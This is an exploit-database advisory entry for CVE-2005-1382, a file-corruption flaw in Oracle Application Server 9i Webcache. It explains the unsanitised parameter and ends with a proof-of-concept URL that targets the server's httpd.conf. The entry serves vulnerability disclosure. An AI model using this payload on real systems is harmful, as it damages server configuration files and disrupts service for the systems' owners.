Oracle Application Server 9i Webcache - Arbitrary File Corruption

Author: Alexander Kornbrust
type: remote
platform: multiple
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date_added: 2005-04-28 
date_updated: 2013-05-20 
verified: 1 
codes: CVE-2005-1382;OSVDB-15909 
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source: https://www.securityfocus.com/bid/13420/info

Oracle Application Server 9i Webcache is prone to an arbitrary file corruption vulnerability.

The issue exists becaue dangerous characters are not removed from a certain parameter value, allowing an attacker to construct a URI that contains an absolute path to any target file.

If this URI is followed by a user with sufficient privileges, garbage data is appended to the end of the specified file.

http://example.com:4000/webcacheadmin?SCREEN_ID=CGA.CacheDump&ACTION=Submit&index=1&cache_dump_file=/opt/ORACLE/ias/9.0.2/Apache/Apache/conf/httpd.conf